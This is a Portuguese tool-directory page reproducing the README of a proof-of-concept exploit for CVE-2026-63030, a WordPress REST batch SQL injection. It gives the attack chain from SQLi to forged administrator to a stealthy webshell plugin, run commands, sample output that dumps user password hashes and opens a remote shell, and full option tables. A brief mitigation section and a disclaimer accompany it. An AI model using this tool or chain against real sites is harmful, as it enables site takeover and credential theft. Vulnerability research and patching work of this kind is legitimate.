Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-63030 — CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection Proof of Concept | Kitploit
Ferramentas/GitHubGitHub/ch4120n/cve-2026-63030
Vulnerability ScannersExploitationWeb SecurityPenetration TestingLearning & Education
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection Proof of Concept

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-63030

Prova de Conceito de Injeção SQL por Confusão de Rota no REST Batch do WordPress (CVE-2026-63030)
Pesquisa, Desenvolvimento de Exploit e Documentação por Ch4120N

CVE Python License Status


⚠️ Aviso Legal

Este repositório e a ferramenta acompanhante (exploit.py) destinam-se estritamente a fins educacionais, testes de penetração autorizados e pesquisa em segurança.
Utilizar este exploit contra alvos sem consentimento explícito, prévio e por escrito é ilegal e viola as leis globais de fraude e abuso de computadores. O autor (Ch4120N) não assume absolutamente nenhuma responsabilidade por qualquer uso indevido, dano ou consequência legal decorrente do uso deste código. Sempre aja dentro dos limites da lei e obtenha a devida autorização.


📖 Visão Geral da Vulnerabilidade: CVE-2026-63030

CVE-2026-63030 é uma vulnerabilidade crítica e não autenticada que afeta a API REST do WordPress. Ela explora um bug de confusão de rota dentro do endpoint de processamento em lote aninhado (/wp-json/batch/v1 ou /?rest_route=/batch/v1).

A Causa Raiz

Quando o WordPress processa um lote de requisições da API REST, ele valida cada sub-requisição de acordo com seu esquema específico antes da execução. No entanto, devido a uma falha na forma como o ponteiro de roteamento interno lida com caminhos deliberadamente malformados (por exemplo, ///), o esquema de validação fica dessincronizado em relação ao manipulador de execução real.

A Cadeia de Ataque

  1. Confusão de Rota & SQLi: Um atacante injeta um payload em lote aninhado. A dessincronização faz com que uma requisição destinada ao endpoint /wp/v2/users (que não aceita author_exclude) seja executada pelo manipulador de /wp/v2/posts. O parâmetro author_exclude não sanitizado é passado diretamente para a cláusula author__not_in do WP_Query, resultando em Injeção SQL Não Autenticada.
  2. Criação de Administrador Pré-Autenticação: O SQLi é usado para ler o banco de dados e identificar IDs de posts oembed_cache. Em seguida, o exploit utiliza um payload de changeset do Customizer para envenenar o cache do menu de navegação, enganando o WordPress para executar uma requisição de criação de usuário sob o contexto de um administrador existente.
  3. Execução Remota de Código (RCE): Com uma conta de administrador recém-forjada, a ferramenta autentica, envia um plugin de webshell PHP aleatorizado e protegido por token, executa comandos do sistema operacional e remove todos os vestígios de forma segura.

Versões Afetadas

  • WordPress 6.9.0 até 6.9.4
  • WordPress 7.0.0 até 7.0.1 (Nota: Versões mais antigas podem ser vulneráveis dependendo de configurações específicas de plugins e backports da API REST).

🚀 Funcionalidades

  • Zero Dependências: 100% biblioteca padrão do Python 3. Nenhum pip install necessário.
  • Modular em Arquivo Único: Todos os componentes (Cliente, SQLi, Exploit, Shell, CLI) estão organizados de forma ordenada em um único script portátil (exploit.py).
  • Extração SQL Multi-Técnica: Recorre automaticamente aos métodos mais rápidos disponíveis:
    1. Baseado em UNION: Extração in-band forjando uma linha falsa de WP_Post (1 requisição por valor).
    2. Baseado em Erro: Aproveita erros XPATH de EXTRACTVALUE() se WP_DEBUG_DISPLAY estiver habilitado.
    3. Cego Booleano/Temporização: Extração de caracteres por busca binária com atrasos configuráveis.
  • Ponte Pré-Autenticação Automatizada: Não necessita de credenciais existentes; a ferramenta cria sua própria conta de administrador em tempo real.
  • Webshell Efêmero: Gera um slug de plugin único e um token criptograficamente seguro. O shell se recusa a executar sem o token e se autodestrói após o uso.
  • Limpeza Automática: Exclui automaticamente a conta de administrador forjada e remove o diretório do plugin webshell ao sair.
  • REPL Interativo: Fornece um pseudo-terminal que mantém o estado do diretório de trabalho remoto (suporte a cd).

📦 Instalação e Requisitos

Nenhum pacote de terceiros é necessário. Certifique-se de ter Python 3.8 ou superior instalado.

root@kitploit:~
# Clone o repositório
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Torne o script executável
chmod +x exploit.py

# Verifique a versão do Python
python3 --version
# Executando o script
python3 exploit.py

💻 Uso Detalhado e Opções

O exploit é dividido em três subcomandos principais: check, read e shell.

Opções Globais

Estas opções se aplicam a todos os subcomandos:

1. check - Detecção de Vulnerabilidade

Sonda o alvo com segurança para confirmar a presença dos marcadores de confusão de rota e testa a temporização do SQLi sem extrair dados.

2. read - Extração de Banco de Dados

Extrai dados diretamente do banco de dados via injeção SQL.

3. shell - Execução Remota de Código

Implanta o webshell e executa comandos. Se nenhuma credencial for fornecida, ele aciona automaticamente a ponte de criação de administrador pré-autenticação.


🖥️ Evidências de Execução e Exemplos

Abaixo estão exemplos reais da ferramenta em ação.

Exemplo 1: Verificando Vulnerabilidade

root@kitploit:~
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

Exemplo 2: Extraindo Impressão Digital do Banco de Dados

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

Exemplo 3: Extraindo Credenciais de Usuário

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

Exemplo 4: Obtendo um Shell Interativo (Pré-Autenticação)

Observe como a ferramenta cria automaticamente uma conta de administrador, implanta o shell e limpa após sair.

root@kitploit:~
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 Análise Técnica Aprofundada

O Princípio da Dessincronização

O núcleo do exploit depende da injeção de _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Essa URL inválida força o roteamento interno do WordPress a gerar um WP_Error para a primeira sub-requisição. Isso desloca o ponteiro interno, fazendo com que a segunda sub-requisição seja validada contra um esquema, mas executada pelo manipulador da terceira sub-requisição. Isso contrabandeia o parâmetro author_exclude para dentro do WP_Query.

Primitiva de Post Falso UNION

Em vez de SQLi cego lento, a ferramenta usa um UNION SELECT para injetar uma linha falsa e totalmente formada de wp_posts. Ao definir orderby=none e per_page=500, impede que o WP_Query divida a consulta. O post_title injetado contém o resultado codificado em hexadecimal da expressão SQL alvo, envolvido em delimitadores ||, que é refletido diretamente na resposta JSON da API REST.

OpSec do Webshell

O plugin PHP implantado é projetado para alta discrição:

  • Diretório e nome de arquivo aleatorizados (ex.: wp_a1b2c3d4.php).
  • Requer um token hex de 32 caracteres (t) e comando (c) via parâmetros GET.
  • Usa hash_equals() para prevenir ataques de temporização no token.
  • Altera automaticamente o diretório (chdir) para evitar divulgação de caminho.
  • A saída é envolvida em marcadores EXPLOIT::...::END para análise limpa pelo cliente Python.

🛡️ Mitigação e Remediação

  1. Atualizar o WordPress: Atualize imediatamente para o WordPress 7.0.2 ou superior, que inclui o patch para CVE-2026-63030.
  2. Desabilitar o Endpoint Batch: Se o endpoint batch não for explicitamente necessário, desabilite-o através de um plugin de uso obrigatório (mu-plugins):
    root@kitploit:~
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. Firewall de Aplicação Web (WAF): Implemente regras para bloquear:
    • Requisições aninhadas /batch/v1 contendo author_exclude na URI.
    • Requisições contendo UNION, SLEEP() ou EXTRACTVALUE nos parâmetros da URL.
    • Caminhos malformados como /// em requisições da API REST.
  4. Desabilitar WP_DEBUG_DISPLAY: Certifique-se de que WP_DEBUG_DISPLAY está definido como em para evitar vazamento de SQLi baseado em erro.

📜 Créditos e Agradecimentos

  • Pesquisa de Vulnerabilidade e Desenvolvimento de Exploit: Ch4120N
  • Inspiração de Conceito: Confusão de rota da API REST do WordPress, envenenamento de cache oEmbed e primitivas de changeset do Customizer.

"Com grandes poderes vêm grandes responsabilidades. Use este conhecimento para defender, não para destruir."
— Ch4120N

Baixar ferramenta
OpçãoDescriçãoPadrão
urlURL base do alvo (ex.: http://target.com)Obrigatório
--rest-routeUse /?rest_route=/batch/v1 em vez de /wp-json/batch/v1 (para sites com permalinks desabilitados).False
--timeoutTempo limite da requisição HTTP em segundos.30.0
--proxyProxy HTTP/HTTPS (ex.: http://127.0.0.1:8080).None
OpçãoDescriçãoPadrão
--sleepAtraso de temporização SQL (segundos) usado pelo fallback --confirm-sqli.3.0
--samplesNúmero de pares de temporização SQL de linha base/atrasada a testar.3
--confirm-sqliEnviar um payload ativo de confirmação de SQLi (adiciona um pequeno atraso).False
OpçãoDescriçãoPadrão
--presetPredefinições de extração rápida: fingerprint (versão/usuário/bd) ou users (logins/hashes).fingerprint
--queryExecutar uma expressão SQL escalar personalizada (ex.: "SELECT @@version").None
--prefixPrefixo da tabela do banco de dados.wp_
--max-lengthNúmero máximo de caracteres a extrair por valor.128
--techniqueTécnica de extração: auto, union, error ou blind.auto
OpçãoDescriçãoPadrão
--userNome de usuário do administrador. (Omitir para usar a ponte pré-autenticação).None
--passwordSenha do administrador. (Omitir para usar a ponte pré-autenticação).None
--cmdComando único a ser executado no alvo.None
-i, --interactiveAbrir um shell interativo (REPL) após a implantação.False
false
wp-config.php